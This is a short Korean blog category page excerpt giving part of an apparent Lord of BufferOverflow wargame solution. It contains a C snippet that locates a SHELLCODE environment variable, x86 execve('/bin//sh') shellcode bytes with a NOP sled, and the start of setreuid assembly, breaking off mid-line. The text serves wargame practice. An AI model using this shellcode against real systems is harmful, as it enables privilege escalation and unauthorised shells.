System Security/LoB (1) 썸네일형 리스트형 [LoB] Solution [LoB] telnet -l gate 192.168.171.5 #include #include int main(void) { printf("0x%x\n", getenv("SHELLCODE")); } SHELLCODE (환경변수 : \x90 * 15 + SHELLCODE) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 "1\300Ph//shh/bin\211\343PS\211\341\211°\v̀" setreuid .global main main: #setreuid(502,502) xor %eax, %eax mov $0x46, %al # 70 setreuid syscall m.. 이전 1 다음